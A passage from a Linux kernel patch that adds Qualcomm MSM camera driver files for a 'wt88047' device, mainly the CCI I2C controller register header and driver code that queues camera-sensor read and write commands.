msm_actuator_func_tbl func_tbl; +}; + +struct msm_actuator_vreg { + struct camera_vreg_t *cam_vreg; + void *data[MSM_ACTUATOT_MAX_VREGS]; + int num_vreg; +}; + +struct msm_actuator_ctrl_t { + struct i2c_driver *i2c_driver; + struct platform_driver *pdriver; + struct platform_device *pdev; + struct msm_camera_i2c_client i2c_client; + enum msm_camera_device_type_t act_device_type; + struct msm_sd_subdev msm_sd; + enum af_camera_name cam_name; + struct mutex *actuator_mutex; + struct msm_actuator_func_tbl *func_tbl; + enum msm_actuator_data_type i2c_data_type; + struct v4l2_subdev sdev; + struct v4l2_subdev_ops *act_v4l2_subdev_ops; + + int16_t curr_step_pos; + uint16_t curr_region_index; + uint16_t *step_position_table; + struct region_params_t region_params[MAX_ACTUATOR_REGION]; + uint16_t reg_tbl_size; + struct msm_actuator_reg_params_t reg_tbl[MAX_ACTUATOR_REG_TBL_SIZE]; + uint16_t region_size; + void *user_data; + uint32_t vcm_pwd; + uint32_t vcm_enable; + uint32_t total_steps; + uint16_t pwd_step; + uint16_t initial_code; + struct msm_camera_i2c_reg_array *i2c_reg_tbl; + uint16_t i2c_tbl_index; + enum cci_i2c_master_t cci_master; + uint32_t subdev_id; + enum msm_actuator_state_t actuator_state; + struct msm_actuator_vreg vreg_cfg; +}; + +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/Makefile new file mode 100644 index 0000000000000..b814392c9c68c --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/Makefile @@ -0,0 +1,3 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2 +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/io +obj-$(CONFIG_MSM_CCI) += msm_cci.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cam_cci_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cam_cci_hwreg.h new file mode 100644 index 0000000000000..059633bfd54ab --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cam_cci_hwreg.h @@ -0,0 +1,58 @@ +/* Copyright (c) 2012-2013, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef __MSM_CAM_CCI_HWREG__ +#define __MSM_CAM_CCI_HWREG__ + +#define CCI_HW_VERSION_ADDR 0x00000000 +#define CCI_RESET_CMD_ADDR 0x00000004 +#define CCI_RESET_CMD_RMSK 0x0f73f3f7 +#define CCI_M0_RESET_RMSK 0x3F1 +#define CCI_M1_RESET_RMSK 0x3F001 +#define CCI_QUEUE_START_ADDR 0x00000008 +#define CCI_SET_CID_SYNC_TIMER_0_ADDR 0x00000010 +#define CCI_I2C_M0_SCL_CTL_ADDR 0x00000100 +#define CCI_I2C_M0_SDA_CTL_0_ADDR 0x00000104 +#define CCI_I2C_M0_SDA_CTL_1_ADDR 0x00000108 +#define CCI_I2C_M0_SDA_CTL_2_ADDR 0x0000010c +#define CCI_I2C_M0_READ_DATA_ADDR 0x00000118 +#define CCI_I2C_M0_MISC_CTL_ADDR 0x00000110 +#define CCI_I2C_M0_READ_BUF_LEVEL_ADDR 0x0000011C +#define CCI_HALT_REQ_ADDR 0x00000034 +#define CCI_M0_HALT_REQ_RMSK 0x1 +#define CCI_M1_HALT_REQ_RMSK 0x2 +#define CCI_I2C_M1_SCL_CTL_ADDR 0x00000200 +#define CCI_I2C_M1_SDA_CTL_0_ADDR 0x00000204 +#define CCI_I2C_M1_SDA_CTL_1_ADDR 0x00000208 +#define CCI_I2C_M1_SDA_CTL_2_ADDR 0x0000020c +#define CCI_I2C_M1_MISC_CTL_ADDR 0x00000210 +#define CCI_I2C_M0_Q0_CUR_WORD_CNT_ADDR 0x00000304 +#define CCI_I2C_M0_Q0_CUR_CMD_ADDR 0x00000308 +#define CCI_I2C_M0_Q0_EXEC_WORD_CNT_ADDR 0x00000300 +#define CCI_I2C_M0_Q0_LOAD_DATA_ADDR 0x00000310 +#define CCI_IRQ_MASK_0_ADDR 0x00000c04 +#define CCI_IRQ_MASK_0_RMSK 0x7fff7ff7 +#define CCI_IRQ_CLEAR_0_ADDR 0x00000c08 +#define CCI_IRQ_STATUS_0_ADDR 0x00000c0c +#define CCI_IRQ_STATUS_0_I2C_M1_Q0Q1_HALT_ACK_BMSK 0x4000000 +#define CCI_IRQ_STATUS_0_I2C_M0_Q0Q1_HALT_ACK_BMSK 0x2000000 +#define CCI_IRQ_STATUS_0_RST_DONE_ACK_BMSK 0x1000000 +#define CCI_IRQ_STATUS_0_I2C_M1_Q1_REPORT_BMSK 0x100000 +#define CCI_IRQ_STATUS_0_I2C_M1_Q0_REPORT_BMSK 0x10000 +#define CCI_IRQ_STATUS_0_I2C_M1_RD_DONE_BMSK 0x1000 +#define CCI_IRQ_STATUS_0_I2C_M0_Q1_REPORT_BMSK 0x100 +#define CCI_IRQ_STATUS_0_I2C_M0_Q0_REPORT_BMSK 0x10 +#define CCI_IRQ_STATUS_0_I2C_M0_ERROR_BMSK 0x18000EE6 +#define CCI_IRQ_STATUS_0_I2C_M1_ERROR_BMSK 0x60EE6000 +#define CCI_IRQ_STATUS_0_I2C_M0_RD_DONE_BMSK 0x1 +#define CCI_IRQ_GLOBAL_CLEAR_CMD_ADDR 0x00000c00 +#endif /* __MSM_CAM_CCI_HWREG__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c new file mode 100644 index 0000000000000..fbadaa9b16d31 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c @@ -0,0 +1,1353 @@ +/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include "msm_sd.h" +#include "msm_cci.h" +#include "msm_cam_cci_hwreg.h" +#include "msm_camera_io_util.h" + +#define V4L2_IDENT_CCI 50005 +#define CCI_I2C_QUEUE_0_SIZE 64 +#define CCI_I2C_QUEUE_1_SIZE 16 +#define CYCLES_PER_MICRO_SEC 4915 +#define CCI_MAX_DELAY 10000 + +#define CCI_TIMEOUT msecs_to_jiffies(100) + +/* TODO move this somewhere else */ +#define MSM_CCI_DRV_NAME "msm_cci" + +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_debug(fmt, ##args) +#else +#define CDBG(fmt, args...) do {} while (0) +#endif + +/* Max bytes that can be read per CCI read transaction */ +#define CCI_READ_MAX 12 +#define CCI_I2C_READ_MAX_RETRIES 3 +#define CCI_I2C_MAX_READ 8192 +#define CCI_I2C_MAX_WRITE 8192 +#define CCI_NUM_CLK_MAX 16 + +static struct v4l2_subdev *g_cci_subdev; + +static struct msm_cam_clk_info cci_clk_info[CCI_NUM_CLK_MAX]; + +static void msm_cci_set_clk_param(struct cci_device *cci_dev, + struct msm_camera_cci_ctrl *c_ctrl) +{ + struct msm_cci_clk_params_t *clk_params = NULL; + enum cci_i2c_master_t master = c_ctrl->cci_info->cci_i2c_master; + enum i2c_freq_mode_t i2c_freq_mode = c_ctrl->cci_info->i2c_freq_mode; + + if (cci_dev->master_clk_init[master]) + return; + clk_params = &cci_dev->cci_clk_params[i2c_freq_mode]; + + if (MASTER_0 == master) { + msm_camera_io_w_mb(clk_params->hw_thigh << 16 | + clk_params->hw_tlow, + cci_dev->base + CCI_I2C_M0_SCL_CTL_ADDR); + msm_camera_io_w_mb(clk_params->hw_tsu_sto << 16 | + clk_params->hw_tsu_sta, + cci_dev->base + CCI_I2C_M0_SDA_CTL_0_ADDR); + msm_camera_io_w_mb(clk_params->hw_thd_dat << 16 | + clk_params->hw_thd_sta, + cci_dev->base + CCI_I2C_M0_SDA_CTL_1_ADDR); + msm_camera_io_w_mb(clk_params->hw_tbuf, + cci_dev->base + CCI_I2C_M0_SDA_CTL_2_ADDR); + msm_camera_io_w_mb(clk_params->hw_scl_stretch_en << 8 | + clk_params->hw_trdhld << 4 | clk_params->hw_tsp, + cci_dev->base + CCI_I2C_M0_MISC_CTL_ADDR); + } else if (MASTER_1 == master) { + msm_camera_io_w_mb(clk_params->hw_thigh << 16 | + clk_params->hw_tlow, + cci_dev->base + CCI_I2C_M1_SCL_CTL_ADDR); + msm_camera_io_w_mb(clk_params->hw_tsu_sto << 16 | + clk_params->hw_tsu_sta, + cci_dev->base + CCI_I2C_M1_SDA_CTL_0_ADDR); + msm_camera_io_w_mb(clk_params->hw_thd_dat << 16 | + clk_params->hw_thd_sta, + cci_dev->base + CCI_I2C_M1_SDA_CTL_1_ADDR); + msm_camera_io_w_mb(clk_params->hw_tbuf, + cci_dev->base + CCI_I2C_M1_SDA_CTL_2_ADDR); + msm_camera_io_w_mb(clk_params->hw_scl_stretch_en << 8 | + clk_params->hw_trdhld << 4 | clk_params->hw_tsp, + cci_dev->base + CCI_I2C_M1_MISC_CTL_ADDR); + } + cci_dev->master_clk_init[master] = 1; + return; +} + +static void msm_cci_flush_queue(struct cci_device *cci_dev, + enum cci_i2c_master_t master) +{ + int32_t rc = 0; + + msm_camera_io_w_mb(1 << master, cci_dev->base + CCI_HALT_REQ_ADDR); + rc = wait_for_completion_timeout( + &cci_dev->cci_master_info[master].reset_complete, CCI_TIMEOUT); + if (rc < 0) { + pr_err("%s:%d wait failed\n", __func__, __LINE__); + } else if (rc == 0) { + pr_err("%s:%d wait timeout\n", __func__, __LINE__); + + /* Set reset pending flag to TRUE */ + cci_dev->cci_master_info[master].reset_pending = TRUE; + + /* Set proper mask to RESET CMD address based on MASTER */ + if (master == MASTER_0) + msm_camera_io_w_mb(CCI_M0_RESET_RMSK, + cci_dev->base + CCI_RESET_CMD_ADDR); + else + msm_camera_io_w_mb(CCI_M1_RESET_RMSK, + cci_dev->base + CCI_RESET_CMD_ADDR); + + /* wait for reset done irq */ + rc = wait_for_completion_timeout( + &cci_dev->cci_master_info[master].reset_complete, + CCI_TIMEOUT); + if (rc <= 0) + pr_err("%s:%d wait failed %d\n", __func__, __LINE__, + rc); + } + return; +} + +static int32_t msm_cci_validate_queue(struct cci_device *cci_dev, + uint32_t len, + enum cci_i2c_master_t master, + enum cci_i2c_queue_t queue) +{ + int32_t rc = 0; + uint32_t read_val = 0; + uint32_t reg_offset = master * 0x200 + queue * 0x100; + read_val = msm_camera_io_r_mb(cci_dev->base + + CCI_I2C_M0_Q0_CUR_WORD_CNT_ADDR + reg_offset); + CDBG("%s line %d CCI_I2C_M0_Q0_CUR_WORD_CNT_ADDR %d len %d max %d\n", + __func__, __LINE__, read_val, len, + cci_dev->cci_i2c_queue_info[master][queue].max_queue_size); + if ((read_val + len + 1) > cci_dev-> + cci_i2c_queue_info[master][queue].max_queue_size) { + uint32_t reg_val = 0; + uint32_t report_val = CCI_I2C_REPORT_CMD | (1 << 8); + CDBG("%s:%d CCI_I2C_REPORT_CMD\n", __func__, __LINE__); + msm_camera_io_w_mb(report_val, + cci_dev->base + CCI_I2C_M0_Q0_LOAD_DATA_ADDR + + reg_offset); + read_val++; + CDBG("%s:%d CCI_I2C_M0_Q0_EXEC_WORD_CNT_ADDR %d\n", + __func__, __LINE__, read_val); + msm_camera_io_w_mb(read_val, cci_dev->base + + CCI_I2C_M0_Q0_EXEC_WORD_CNT_ADDR + reg_offset); + reg_val = 1 << ((master * 2) + queue); + CDBG("%s:%d CCI_QUEUE_START_ADDR\n", __func__, __LINE__); + msm_camera_io_w_mb(reg_val, cci_dev->base + + CCI_QUEUE_START_ADDR); + CDBG("%s line %d wait_for_completion_interruptible\n", + __func__, __LINE__); + rc = wait_for_completion_timeout(&cci_dev-> + cci_master_info[master].reset_complete, CCI_TIMEOUT); + if (rc <= 0) { + pr_err("%s: wait_for_completion_timeout %d\n", + __func__, __LINE__); + if (rc == 0) + rc = -ETIMEDOUT; + msm_cci_flush_queue(cci_dev, master); + return rc; + } + rc = cci_dev->cci_master_info[master].status; + if (rc < 0) + pr_err("%s failed rc %d\n", __func__, rc); + } + return rc; +} + +static int32_t msm_cci_data_queue(struct cci_device *cci_dev, + struct msm_camera_cci_ctrl *c_ctrl, enum cci_i2c_queue_t queue) +{ + uint16_t i = 0, j = 0, k = 0, h = 0, len = 0; + int32_t rc = 0; + uint32_t cmd = 0, delay = 0; + uint8_t data[11]; + uint16_t reg_addr = 0; + struct msm_camera_i2c_reg_setting *i2c_msg = + &c_ctrl->cfg.cci_i2c_write_cfg; + uint16_t cmd_size = i2c_msg->size; + struct msm_camera_i2c_reg_array *i2c_cmd = i2c_msg->reg_setting; + enum cci_i2c_master_t master = c_ctrl->cci_info->cci_i2c_master; + + if (i2c_cmd == NULL) { + pr_err("%s:%d Failed line\n", __func__, + __LINE__); + return -EINVAL; + } + + if ((!cmd_size) || (cmd_size > CCI_I2C_MAX_WRITE)) { + pr_err("%s:%d Failed line\n", __func__, __LINE__); + return -EINVAL; + } + + CDBG("%s addr type %d data type %d\n", __func__, + i2c_msg->addr_type, i2c_msg->data_type); + + if (i2c_msg->addr_type >= MSM_CAMERA_I2C_ADDR_TYPE_MAX) { + pr_err("%s failed line %d\n", __func__, __LINE__); + return -EINVAL; + } + if (i2c_msg->data_type >= MSM_CAMERA_I2C_DATA_TYPE_MAX) { + pr_err("%s failed line %d\n", __func__, __LINE__); + return -EINVAL; + } + /* assume total size within the max queue */ + while (cmd_size) { + CDBG("%s cmd_size %d addr 0x%x data 0x%x", __func__, + cmd_size, i2c_cmd->reg_addr, i2c_cmd->reg_data); + delay = i2c_cmd->delay; + data[i++] = CCI_I2C_WRITE_CMD; + if (i2c_cmd->reg_addr) + reg_addr = i2c_cmd->reg_addr; + /* either byte or word addr */ + if (i2c_msg->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) + data[i++] = reg_addr; + else { + data[i++] = (reg_addr & 0xFF00) >> 8; + data[i++] = reg_addr & 0x00FF; + } + /* max of 10 data bytes */ + do { + if (i2c_msg->data_type == MSM_CAMERA_I2C_BYTE_DATA) { + data[i++] = i2c_cmd->reg_data; + reg_addr++; + } else { + if ((i + 1) <= 10) { + data[i++] = (i2c_cmd->reg_data & + 0xFF00) >> 8; /* MSB */ + data[i++] = i2c_cmd->reg_data & + 0x00FF; /* LSB */ + reg_addr += 2; + } else + break; + } + i2c_cmd++; + } while (--cmd_size && !i2c_cmd->reg_addr && (i <= 10)); + data[0] |= ((i-1) << 4); + len = ((i-1)/4) + 1; + rc = msm_cci_validate_queue(cci_dev, len, master, queue); + if (rc < 0) { + pr_err("%s: failed %d", __func__, __LINE__); + return rc; + } + for (h = 0, k = 0; h < len; h++) { + cmd = 0; + for (j = 0; (j < 4 && k < i); j++) + cmd |= (data[k++] << (j * 8)); + CDBG("%s CCI_I2C_M0_Q0_LOAD_DATA_ADDR 0x%x\n", + __func__, cmd); + msm_camera_io_w_mb(cmd, cci_dev->base + + CCI_I2C_M0_Q0_LOAD_DATA_ADDR + + master * 0x200 + queue * 0x100); + } + if ((delay > 0) && (delay < CCI_MAX_DELAY)) { + cmd = (uint32_t)((delay * CYCLES_PER_MICRO_SEC) / + 0x100); + cmd <<= 4; + cmd |= CCI_I2C_WAIT_CMD; + CDBG("%s CCI_I2C_M0_Q0_LOAD_DATA_ADDR 0x%x\n", + __func__, cmd); + msm_camera_io_w_mb(cmd, cci_dev->base + + CCI_I2C_M0_Q0_LOAD_DATA_ADDR + + master * 0x200 + queue * 0x100); + } + i = 0; + } + return rc; +} + +static int32_t msm_cci_write_i2c_queue(struct cci_device *cci_dev, + uint32_t val, + enum cci_i2c_master_t master, + enum cci_i2c_queue_t queue) +{ + int32_t rc = 0; + uint32_t reg_offset = master * 0x200 + queue * 0x100; + CDBG("%s:%d called\n", __func__, __LINE__); + rc = msm_cci_validate_queue(cci_dev, 1, master, queue); + if (rc < 0) { + pr_err("%s: failed %d", __func__, __LINE__); + return rc; + } + CDBG("%s CCI_I2C_M0_Q0_LOAD_DATA_ADDR:val 0x%x:0x%x\n", + __func__, CCI_I2C_M0_Q0_LOAD_DATA_ADDR + + reg_offset, val); + msm_camera_io_w_mb(val, cci_dev->base + CCI_I2C_M0_Q0_LOAD_DATA_ADDR + + reg_offset); + return rc; +} + +static int32_t msm_cci_i2c_read(struct v4l2_subdev *sd, + struct msm_camera_cci_ctrl *c_ctrl) +{ + int32_t rc = 0; + uint32_t val = 0; + int32_t read_words = 0, exp_words = 0; + int32_t index = 0, first_byte = 0; + uint32_t i = 0; + enum cci_i2c_master_t master; + enum cci_i2c_queue_t queue = QUEUE_1; + struct cci_device *cci_dev = NULL; + struct msm_camera_cci_i2c_read_cfg *read_cfg = NULL; + CDBG("%s line %d\n", __func__, __LINE__); + cci_dev = v4l2_get_subdevdata(sd); + master = c_ctrl->cci_info->cci_i2c_master; + read_cfg = &c_ctrl->cfg.cci_i2c_read_cfg; + mutex_lock(&cci_dev->cci_master_info[master].mutex); + + /* + * Call validate queue to make sure queue is empty before starting. + * If this call fails, don't proceed with i2c_read call. This is to + * avoid overflow / underflow of queue + */ + rc = msm_cci_validate_queue(cci_dev, + cci_dev->cci_i2c_queue_info[master][queue].max_queue_size - 1, + master, queue); + if (rc < 0) { + pr_err("%s:%d Initial validataion failed rc %d\n", __func__, + __LINE__, rc); + goto ERROR; + } + + if (c_ctrl->cci_info->retries > CCI_I2C_READ_MAX_RETRIES) { + pr_err("%s:%d More than max retries\n", __func__, + __LINE__); + goto ERROR; + } + + if (read_cfg->data == NULL) { + pr_err("%s:%d Data ptr is NULL\n", __func__, + __LINE__); + goto ERROR; + } + + CDBG("%s master %d, queue %d\n", __func__, master, queue); + CDBG("%s set param sid 0x%x retries %d id_map %d\n", __func__, + c_ctrl->cci_info->sid, c_ctrl->cci_info->retries, + c_ctrl->cci_info->id_map); + val = CCI_I2C_SET_PARAM_CMD | c_ctrl->cci_info->sid << 4 | + c_ctrl->cci_info->retries << 16 | + c_ctrl->cci_info->id_map << 18; + rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); + if (rc < 0) { + CDBG("%s failed line %d\n", __func__, __LINE__); + goto ERROR; + } + + val = CCI_I2C_LOCK_CMD; + rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); + if (rc < 0) { + CDBG("%s failed line %d\n", __func__, __LINE__); + goto ERROR; + } + + if (read_cfg->addr_type >= MSM_CAMERA_I2C_ADDR_TYPE_MAX) { + CDBG("%s failed line %d\n", __func__, __LINE__); + goto ERROR; + } + + if (read_cfg->addr_type == MSM_CAMERA_I2C_BYTE_ADDR) + val = CCI_I2C_WRITE_DISABLE_P_CMD | (read_cfg->addr_type << 4) | + ((read_cfg->addr & 0xFF) << 8); + if (read_cfg->addr_type == MSM_CAMERA_I2C_WORD_ADDR) + val = CCI_I2C_WRITE_DISABLE_P_CMD | (read_cfg->addr_type << 4) | + (((read_cfg->addr & 0xFF00) >> 8) << 8) | + ((read_cfg->addr & 0xFF) << 16); + rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); + if (rc < 0) { + CDBG("%s failed line %d\n", __func__, __LINE__); + goto ERROR; + } + + val = CCI_I2C_READ_CMD | (read_cfg->num_byte << 4); + rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); + if (rc < 0) { + CDBG("%s failed line %d\n", __func__, __LINE__); + goto ERROR; + } + + val = CCI_I2C_UNLOCK_CMD; + rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); + if (rc < 0) { + CDBG("%s failed line %d\n", __func__, __LINE__); + goto ERROR; + } + + val = msm_camera_io_r_mb(cci_dev->base + CCI_I2C_M0_Q0_CUR_WORD_CNT_ADDR + + master * 0x200 + queue * 0x100); + CDBG("%s cur word cnt 0x%x\n", __func__, val); + msm_camera_io_w_mb(val, cci_dev->base + CCI_I2C_M0_Q0_EXEC_WORD_CNT_ADDR + + master * 0x200 + queue * 0x100); + + val = 1 << ((master * 2) + queue); + msm_camera_io_w_mb(val, cci_dev->base + CCI_QUEUE_START_ADDR); + CDBG("%s:%d E wait_for_completion_timeout\n", __func__, + __LINE__); + rc = wait_for_completion_timeout(&cci_dev-> + cci_master_info[master].reset_complete, CCI_TIMEOUT); + if (rc <= 0) { + pr_err("%s: wait_for_completion_timeout %d\n", + __func__, __LINE__); + if (rc == 0) + rc = -ETIMEDOUT; + msm_cci_flush_queue(cci_dev, master); + goto ERROR; + } else { + rc = 0; + } + CDBG("%s:%d E wait_for_completion_timeout\n", __func__, + __LINE__); + + read_words = msm_camera_io_r_mb(cci_dev->base + + CCI_I2C_M0_READ_BUF_LEVEL_ADDR + master * 0x100); + exp_words = ((read_cfg->num_byte / 4) + 1); + if (read_words != exp_words) { + pr_err("%s:%d read_words = %d, exp words = %d\n", __func__, + __LINE__, read_words, exp_words); + memset(read_cfg->data, 0, read_cfg->num_byte); + rc = -EINVAL; + goto ERROR; + } + index = 0; + CDBG("%s index %d num_type %d\n", __func__, index, + read_cfg->num_byte); + first_byte = 0; + do { + val = msm_camera_io_r_mb(cci_dev->base + + CCI_I2C_M0_READ_DATA_ADDR + master * 0x100); + CDBG("%s read val 0x%x\n", __func__, val); + for (i = 0; (i < 4) && (index < read_cfg->num_byte); i++) { + CDBG("%s i %d index %d\n", __func__, i, index); + if (!first_byte) { + CDBG("%s sid 0x%x\n", __func__, val & 0xFF); + first_byte++; + } else { + read_cfg->data[index] = + (val >> (i * 8)) & 0xFF; + CDBG("%s data[%d] 0x%x\n", __func__, index, + read_cfg->data[index]); + index++; + } + } + } while (--read_words > 0); +ERROR: + mutex_unlock(&cci_dev->cci_master_info[master].mutex); + return rc; +} + +static int32_t msm_cci_i2c_read_bytes(struct v4l2_subdev *sd, + struct msm_camera_cci_ctrl *c_ctrl) +{ + int32_t rc = 0; + struct cci_device *cci_dev = NULL; + enum cci_i2c_master_t master; + struct msm_camera_cci_i2c_read_cfg *read_cfg = NULL; + uint16_t read_bytes = 0; + + if (!sd || !c_ctrl) { + pr_err("%s:%d sd %p c_ctrl %p\n", __func__, + __LINE__, sd, c_ctrl); + return -EINVAL; + } + if (!c_ctrl->cci_info) { + pr_err("%s:%d cci_info NULL\n", __func__, __LINE__); + return -EINVAL; + } + cci_dev = v4l2_get_subdevdata(sd); + if (!cci_dev) { + pr_err("%s:%d cci_dev NULL\n", __func__, __LINE__); + return -EINVAL; + } + + if (c_ctrl->cci_info->cci_i2c_master > MASTER_MAX + || c_ctrl->cci_info->cci_i2c_master < 0) { + pr_err("%s:%d Invalid I2C master addr\n", __func__, __LINE__); + return -EINVAL; + } + + master = c_ctrl->cci_info->cci_i2c_master; + read_cfg = &c_ctrl->cfg.cci_i2c_read_cfg; + if ((!read_cfg->num_byte) || (read_cfg->num_byte > CCI_I2C_MAX_READ)) { + pr_err("%s:%d read num bytes 0\n", __func__, __LINE__); + rc = -EINVAL; + goto ERROR; + } + + read_bytes = read_cfg->num_byte; + do { + if (read_bytes > CCI_READ_MAX) + read_cfg->num_byte = CCI_READ_MAX; + else + read_cfg->num_byte = read_bytes; + rc = msm_cci_i2c_read(sd, c_ctrl); + if (rc < 0) { + pr_err("%s:%d failed rc %d\n", __func__, __LINE__, rc); + goto ERROR; + } + if (read_bytes > CCI_READ_MAX) { + read_cfg->addr += CCI_READ_MAX; + read_cfg->data += CCI_READ_MAX; + read_bytes -= CCI_READ_MAX; + } else { + read_bytes = 0; + } + } while (read_bytes); +ERROR: + return rc; +} + +static int32_t msm_cci_i2c_write(struct v4l2_subdev *sd, + struct msm_camera_cci_ctrl *c_ctrl) +{ + int32_t rc = 0; + struct cci_device *cci_dev; + uint32_t val; + enum cci_i2c_master_t master; + enum cci_i2c_queue_t queue = QUEUE_0; + cci_dev = v4l2_get_subdevdata(sd); + if (c_ctrl->cci_info->cci_i2c_master > MASTER_MAX + || c_ctrl->cci_info->cci_i2c_master < 0) { + pr_err("%s:%d Invalid I2C master addr\n", __func__, __LINE__); + return -EINVAL; + } + master = c_ctrl->cci_info->cci_i2c_master; + CDBG("%s master %d, queue %d\n", __func__, master, queue); + CDBG("%s set param sid 0x%x retries %d id_map %d\n", __func__, + c_ctrl->cci_info->sid, c_ctrl->cci_info->retries, + c_ctrl->cci_info->id_map); + mutex_lock(&cci_dev->cci_master_info[master].mutex); + + /* + * Call validate queue to make sure queue is empty before starting. + * If this call fails, don't proceed with i2c_write call. This is to + * avoid overflow / underflow of queue + */ + rc = msm_cci_validate_queue(cci_dev, + cci_dev->cci_i2c_queue_info[master][queue].max_queue_size - 1, + master, queue); + if (rc < 0) { + pr_err("%s:%d Initial validataion failed rc %d\n", __func__, + __LINE__, rc); + goto ERROR; + } + if (c_ctrl->cci_info->retries > CCI_I2C_READ_MAX_RETRIES) { + pr_err("%s:%d More than max retries\n", __func__, + __LINE__); + goto ERROR; + } + + val = CCI_I2C_SET_PARAM_CMD | c_ctrl->cci_info->sid << 4 | + c_ctrl->cci_info->retries << 16 | + c_ctrl->cci_info->id_map << 18; + CDBG("%s:%d CCI_I2C_SET_PARAM_CMD\n", __func__, __LINE__); + rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); + if (rc < 0) { + CDBG("%s failed line %d\n", __func__, __LINE__); + goto ERROR; + } + + val = CCI_I2C_LOCK_CMD; + CDBG("%s:%d CCI_I2C_LOCK_CMD\n", __func__, __LINE__); + rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); + if (rc < 0) { + CDBG("%s failed line %d\n", __func__, __LINE__); + goto ERROR; + } + + rc = msm_cci_data_queue(cci_dev, c_ctrl, queue); + if (rc < 0) { + CDBG("%s failed line %d\n", __func__, __LINE__); + goto ERROR; + } + val = CCI_I2C_UNLOCK_CMD; + CDBG("%s:%d CCI_I2C_UNLOCK_CMD\n", __func__, __LINE__); + rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); + if (rc < 0) { + CDBG("%s failed line %d\n", __func__, __LINE__); + goto ERROR; + } + + val = CCI_I2C_REPORT_CMD | (1 << 8); + CDBG("%s:%d CCI_I2C_REPORT_CMD\n", __func__, __LINE__); + rc = msm_cci_write_i2c_queue(cci_dev, val, master, queue); + if (rc < 0) { + CDBG("%s failed line %d\n", __func__, __LINE__); + goto ERROR; + } + + val = msm_camera_io_r_mb(cci_dev->base + CCI_I2C_M0_Q0_CUR_WORD_CNT_ADDR + + master * 0x200 + queue * 0x100); + CDBG("%s:%d cur word count %d\n", __func__, __LINE__, val); + CDBG("%s:%d CCI_I2C_M0_Q0_EXEC_WORD_CNT_ADDR\n", __func__, __LINE__); + msm_camera_io_w_mb(val, cci_dev->base + CCI_I2C_M0_Q0_EXEC_WORD_CNT_ADDR + + master * 0x200 + queue * 0x100); + + val = 1 << ((master * 2) + queue); + CDBG("%s:%d CCI_QUEUE_START_ADDR\n", __func__, __LINE__); + msm_camera_io_w_mb(val, cci_dev->base + CCI_QUEUE_START_ADDR); + + CDBG("%s:%d E wait_for_completion_interruptible\n", + __func__, __LINE__); + rc = wait_for_completion_timeout(&cci_dev-> + cci_master_info[master].reset_complete, CCI_TIMEOUT); + if (rc <= 0) { + pr_err("%s: wait_for_completion_timeout %d\n", + __func__, __LINE__); + if (rc == 0) + rc = -ETIMEDOUT; + msm_cci_flush_queue(cci_dev, master); + goto ERROR; + } else { + rc = cci_dev->cci_master_info[master].status; + } + CDBG("%s:%d X wait_for_completion_interruptible\n", __func__, + __LINE__); + +ERROR: + mutex_unlock(&cci_dev->cci_master_info[master].mutex); + return rc; +} + +static int msm_cci_subdev_g_chip_ident(struct v4l2_subdev *sd, + struct v4l2_dbg_chip_ident *chip) +{ + if (!chip) { + pr_err("%s:%d: NULL pointer supplied for chip ident\n", + __func__, __LINE__); + return -EINVAL; + } + chip->ident = V4L2_IDENT_CCI; + chip->revision = 0; + return 0; +} + +static int32_t msm_cci_pinctrl_init(struct cci_device *cci_dev) +{ + struct msm_pinctrl_info *cci_pctrl = NULL; + + cci_pctrl = &cci_dev->cci_pinctrl; + cci_pctrl->pinctrl = devm_pinctrl_get(&cci_dev->pdev->dev); + if (IS_ERR_OR_NULL(cci_pctrl->pinctrl)) { + pr_err("%s:%d devm_pinctrl_get cci_pinctrl failed\n", + __func__, __LINE__); + return -EINVAL; + } + cci_pctrl->gpio_state_active = pinctrl_lookup_state( + cci_pctrl->pinctrl, + CCI_PINCTRL_STATE_DEFAULT); + if (IS_ERR_OR_NULL(cci_pctrl->gpio_state_active)) { + pr_err("%s:%d look up state for active state failed\n", + __func__, __LINE__); + return -EINVAL; + } + cci_pctrl->gpio_state_suspend = pinctrl_lookup_state( + cci_pctrl->pinctrl, + CCI_PINCTRL_STATE_SLEEP); + if (IS_ERR_OR_NULL(cci_pctrl->gpio_state_suspend)) { + pr_err("%s:%d look up state for suspend state failed\n", + __func__, __LINE__); + return -EINVAL; + } + return 0; +} + +static int32_t msm_cci_init(struct v4l2_subdev *sd, + struct msm_camera_cci_ctrl *c_ctrl) +{ + uint8_t i = 0; + int32_t rc = 0, ret = 0; + struct cci_device *cci_dev; + enum cci_i2c_master_t master; + + cci_dev = 